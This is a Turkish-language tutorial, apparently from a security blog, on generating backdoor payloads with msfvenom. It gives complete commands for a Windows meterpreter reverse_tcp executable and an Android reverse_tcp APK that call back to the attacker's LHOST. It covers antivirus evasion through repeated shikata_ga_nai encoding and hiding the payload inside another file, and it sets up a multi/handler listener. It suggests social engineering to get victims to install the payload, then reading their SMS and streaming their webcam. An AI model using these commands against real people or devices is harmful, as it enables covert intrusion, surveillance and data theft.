TR | MSFVenom Kullanımı
MSFVenom Nedir, Nasıl Kullanılır?
Eskiden, payload üretmek ve encode işlemleri yapmak için msfpayload ve msfencode araçları kullanılırdı. Şu anda bu araçlar yerine msfvenom kullanılmaktadır. Bunların dışında da Kali Linux’ta bu işlemleri yapan birçok araç vardır. Kullanımı oldukça basittir. Metasploit framework içinde hazır olarak bulunan bu araç, backdoor ve encode üretmek için en çok kullanılan araçtır.
Şimdi MSFVenom’u incelemeye başlayalım.
Kali Linux’ta terminale mfsvenom -h yazarak msfvenom’un help sayfasına ulaşırız. Bu sayfada, msfvenom’da kullanabileceğimiz parametreleri ve açıklamalar gösterilmektedir.
Öncelikle teker teker bu parametreleri inceleyelim;
-p : MFSVenom’da kullanmak istediğimiz payloadı seçmemizi sağlar. Her payloadın yanında açıklaması bulunmaktadır.
–payload-options : Seçmiş olduğumuz payloadın ayarlarını görüntülememize ve ayarlamamıza olanak sağlıyor.
Kullanımı msfvenom –p <payload adı> –payload-options şeklindedir.
Bazı payload çeşitleri;
İşletim Sistemi Payloadları
Linux
-p linux/x86/meterpreter/reverse_tcp
Windows
-p windows/meterpreter/reverse_tcp
Mac
-p osx/x86/shell_reverse_tcp
Web Payloadları
PHP
-p php/meterpreter_reverse_tcp
jSP
-p java/jsp_shell_reverse_tcp
Script Payloadları
Python
-p cmd/unix/reverse_python
Bash
-p cmd/unix/reverse_bash
Perl
-p cmd/unix/reverse_perl
-l : Payloads, Encoders, Nops; modül tiplerini listelemeye yarar.
Kullanımı
msfvenom -l payloads msfvenom -l encoders msfvenom –l nops
-n : Oluşturacağımız payloadın ilk bytelarında ezilme olabilir. Bu durum payloadımızın yapısını bozacağından çalışmasını engelleyebilir. “-n” parametresi payload başına nopsled eklememize olanak sağlar. Bu sayede payload çalıştığında istediğimiz adrese gelene kadar adreslerin nop (boş işlem) ile dolması sağlanır.
Örnek kullanımı -n 26 şeklindedir. 26 bytelık kısmı nop(\x98\xfd\x40..) ile doldurur.
-f : Kaydedilecek olan çıktının formatını belirlememize olanak sağlar.
-help-formats komutu ile kaydedebileceğimiz formatları listeler.
Executable Formats (Çalıştırılabilir Formatlar)
asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war
Transform Formats(Yazılımsal Formatlar)
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
-e : Kullanmak istediğimiz encoderi seçmemizi sağlar. Encoderlar anti-virüs atlatma işleminde kullanılırlar. Eğer biz seçmezsek, kendisi en uygun encoderi otomatik olarak atayacaktır. Birden fazla encoder seçimi yapabiliriz ve bu sayede anti-virüs programının bizi yakalama olasılığını azaltırız. Rank sütununda, encoderlerın derecelerini görüyoruz. Descriprion sütununda ise bu encoderların açıklamaları bulunmaktadır.
-a : Oluşturulan payloadın hangi mimariye göre çalışacağını belirleriz. x86/x64, PPC, Mips, Arm mimarilerini destekler.
–platform : Payloadın hangi platformda çalışacağını atamamıza olanak sağlar.
–help-platforms : netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javacript, python, nodejs, firefox, mainframe, windows
-s : Üretilen payload veya encoderin, byte cinsinden boyutunu belirlememize olanak sağlar.
-b : Payload içinde kullanılmasını istemediğimiz karakterleri(badchars) temizler. Bu karakterler payloadın yapısını bozabilir. Badchars: x00\x0a\x5f\xa4\xba\xaa\xdf\xff ..
-i : Encoding işlemini kaç defa tekrarlamak istediğimizi belirtiriz. Anti-virüs programını atlatmak için defalarca deneyebiliriz.
-c : Bir payloadı bir shell code ile birleştirmemizi sağlar.
-x : Bir payloadı başka bir dosya ile birleştirmemizi sağlar. Bu sayede kullanıcının payloadı fark etme olasılığını azaltmış oluruz. Örneğin, payloadı bir resimle birleştirdiğimizde, kullanıcı payloadı çalıştırınca ön planda resim görünür arka planda ise zararlı kodlar çalışır.
-k : Payloadımızı bir başka payloadla veya dosya ile birleştirdiğimiz zaman, payloadımızın yapısının bozulmamasını sağlar.
-o : Payloadın nereye kaydedileceğini belirtir.
-v : Payloadın adını değiştirmemize olanak sağlar. Default olarak adı “buf” atanır.
Parametrelerle beraber LHOST VE RHOST kavramlarını kullanacağız.
LHOST kısma kendi IP’mizi gireceğiz.
LPORT kısmına da dinlemek istediğimiz portu giriyoruz. Bu sayede karşı taraf bu port üzerinden bize ulaşır.
> Parametresini kullanarak payloadın adını ve kaydedileceği dizini belirlememize olanak sağlar. Dosya kaydetme işlemi hızlı olduğu için genelde payloadlar bu parametre ile kaydedilir.
Kullanımı > /root/Masasüstü/dosyaadı.exe şeklindedir.
msfvenom -x payloads.exe -k -p windows/meterpreter/reverse_tcp LHOST=192.168.171.128 LPORT=4445 -f exe -a x86 -o /root/Masaüstü/payload.exe --platform windows -e x86/shikata_ga_nai -i 20 –b “\x00”
En sık oluşturulan payload’lardan biridir. Bunun üzerinde parametrelerin kullanımı inceleyelim.
-p Windows/meterpreter/reverse_tcp
- Burada kullanmak istediğimiz payloadı –p parametresi ile giriyoruz.
LHOST=192.168.171.128 LPORT=4445
- Üzerine IP ve dinlemek istediğimiz portu giriyoruz. Zararlı yazılım karşı tarafta çalıştığında bize bu IP adresi ve port numarası üzerinden ulaşacaktır.
-x payloads.exe -k
payloadı başka bir dosya ile birleştirdik. –k parametresi ile yapısını korudu.
- -o /root/Masaüstü/payload.exe kaydedileceği dizini ve adını belirttik. -o yerine > de kullanılabilirdi.
- -a x86 x86 mimarisinde çalışacak.
- –f exe payloadımızın formatını seçiyoruz.
- –platform windows platform olarak Windows’u seçtik.
- -e x86/shikata_ga_nai encode işlemi için seçtiğimiz encodu girdik. Encoderin derecesi arttıkça anti-virüs tarafından yakalanma olasılığını azaltır. Bu yüzden derecesi excellent olduğu için bu encoderi seçtik.
- -i 20 encode işlemini kaç defa gerçekleştirmek istediğimizi belirttim.
- -b “\x00” istemediğimiz x00 karakterini çıkardık.
Oluşturduğumuz payloada sağ tıklayıp özellikleri açıyoruz. Erişim haklarında bulunan dosyayı bir program program gibi çalıştırmaya izin ver butonuna tıklıyoruz. Bu sayede kullanıcının cihazı payloadımızı bir program gibi çalıştırabiliyor.
https://canyoupwn.me/tr-backdoor/ ‘da anti-virüs atlatma, backdoor oluşturma anlatılmıştır.
Ben ise msfvenom sayesinde android için backdoor oluşturmayı anlatacağım.
Şimdi android için payload oluşturacağız.
İlk önce msfvenom –l payloads komutu ile payloadları listeliyoruz. Android için payload oluşturmak istediğimizden başında android geçen payloadları inceliyoruz ve buradan bize en uygun payloadı seçiyoruz. Ben android/meterpreter/reverse_tcp payloadını kullanacağım.
LHOST kısma kendi IP adresimizi giriyoruz. LPORT kısmınada dinleyeceğimiz, kullanıcının bize ulaşacağı portu girdikten sonra , > ile payloadın kaydedileceği dizini ve adını .apk formatında kaydediyoruz.
Daha sonra msfconsole komutu ile metasploiti çalıştırıyoruz.
Metasploit` de;
use exploit/multi/handler komutu ile exploitimizi çalıştırıyoruz.
set payload android/meterpreter/reverse_tcp komutu ile payloadımızın ayarlar kısmına giriyoruz.
Daha sonra ayarlar kısmında bulunan LHOST ayarını kendi IP’mizle aynı, LPORT kısmını da dinleyeceğimiz portla aynı yapıyoruz.
show options komutu ile exploitimizin son halini görüntüledik.
Her şey tamam olduktan sonra artık exploitimizi çalıştırabiliriz.
exploit/run komutu ile dinlemeye başlıyoruz
Bu adımdan sonra artık karşı taraftaki kullanıcın payloadı aktif hale getirmesi lazım. Bunun için sosyal mühendislik gibi yöntemler kullanabilir. Payloadın telefona yüklene bilmesi için telefonumuzun güvenlik kısmında bulunan bilinmeyen kaynaklar özelliği açık olmalıdır. Payloadımızın istediği izinler, payload yüklenirken karşımıza çıkar. Kullanıcı buna izin vermelidir.
Kullanıcı payloadı aktif hale getirdikten sonra, meterpreter oturumu aktif hale geliyor.
sysinfo komutu ile cihaz hakkında bilgi alabilir. help komutu ile neler yapabileceklerimizi görebiliriz.
Örneğin;
dump_sms komutu ile karşı tarafın SMS’lerine ulaşabiliriz.
webcam_stream komutu ile karşı tarafın kamerasına erişim sağlayabiliriz.